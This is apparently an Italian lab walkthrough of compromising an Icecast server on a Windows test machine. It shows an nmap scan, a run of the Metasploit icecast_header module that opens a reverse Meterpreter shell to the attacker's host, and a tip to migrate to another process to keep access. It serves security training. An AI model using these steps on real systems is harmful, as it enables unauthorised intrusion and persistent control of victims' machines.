

Exploit Icecast

Iniziamo Vedendo se c'è comunicazione tra le macchine e poi avviamo sulla macchina target il programma icecast lasciandolo in esecuzione.

Torniamo sulla macchina attaccante e scansioniamo l'IP del target.

```
(kali㉿kali)-[~]
$ nmap -sV -T4 192.168.1.116
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-14 08:41 EST
Nmap scan report for DESKTOP-9K104BT.lan (192.168.1.116)
Host is up (0.00041s latency).
Not shown: 980 closed tcp ports (conn-refused)
PORT      STATE SERVICE          VERSION
7/tcp     open  echo             1.5
9/tcp     open  discard          1.0
13/tcp    open  daytime          1.0
17/tcp    open  qotd             1.0
19/tcp    open  chargen          1.0
80/tcp    open  http             Microsoft IIS httpd 10.0
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn      Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds     Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
1801/tcp  open  msmq?            Microsoft Windows RPC
2103/tcp  open  msrpc            Microsoft Windows RPC
2105/tcp  open  msrpc            Microsoft Windows RPC
2107/tcp  open  msrpc            Microsoft Windows RPC
3389/tcp  open  ssl/ms-wbt-server?
5357/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5432/tcp  open  postgresql?      10.0
8000/tcp  open  http             Icecast streaming media server 1.0
8009/tcp  open  ajp13            Apache Jserv (Protocol v1.3)
8080/tcp  open  http             Apache Tomcat/Coyote JSP engine 1.1
8443/tcp  open  ssl/https-alt    1.0
Service Info: Host: DESKTOP-9K104BT; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 160.48 seconds
```

Possiamo notare che alla porta 8000 ci rivela il programma con la porta aperta.

Entriamo su msfconsole e cerchiamo un exploit per icecast.

Risultato Finale:

```
msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.1.125:4444 [0,MULTICAST] > mtu 1500
[*] Sending stage (176198 bytes) to 192.168.1.116
[*] Meterpreter session 1 opened (192.168.1.125:4444 → 192.168.1.116:49612) at 2024-11-14 08:45:59 -0500

meterpreter > pwd
C:\Program Files (x86)\Icecast2 Win32
meterpreter > ipconfig

Interface 1 {
  Name : Software Loopback Interface 1
  Hardware MAC : 00:00:00:00:00:00
  MTU : 4294967295
  IPv4 Address : 127.0.0.1
  IPv4 Netmask : 255.0.0.0
  IPv6 Address : ::1
  IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 4 {
  Name : Intel(R) PRO/1000 MT Desktop Adapter
  Hardware MAC : 08:00:27:1a:99:ef
  MTU : 1480
  IPv4 Address : 192.168.1.116
  IPv4 Netmask : 255.255.255.0
  IPv6 Address : 2001:b07:646a:e2c6:55d4:8a29:d319:162c
  IPv6 Netmask : ffff:ffff:ffff:ffff::
  IPv6 Address : 2001:b07:646a:e2c6:bc68:b1af:8f0a:ed92
  IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
  IPv6 Address : fe80::55d4:8a29:d319:162c
  IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 5 {
  Name : Microsoft Teredo Tunneling Adapter
  Hardware MAC : 00:00:00:00:00:00
  MTU : 1280
  IPv6 Address : 2001:0:2851:782c:c11:7e1c:a2dc:577d
  IPv6 Netmask : ffff:ffff:ffff:ffff::
  IPv6 Address : fe80::c11:7e1c:a2dc:577d
  IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Una volta arrivati in questa schermata abbiamo creato la shell e possiamo muoverci nel PC da riga di comando, è consigliato spostare l'accesso a un software in esecuzione con PID più piccolo e con maggiore priorità di processo in modo da non essere buttati fuori appena il programma verrà chiuso.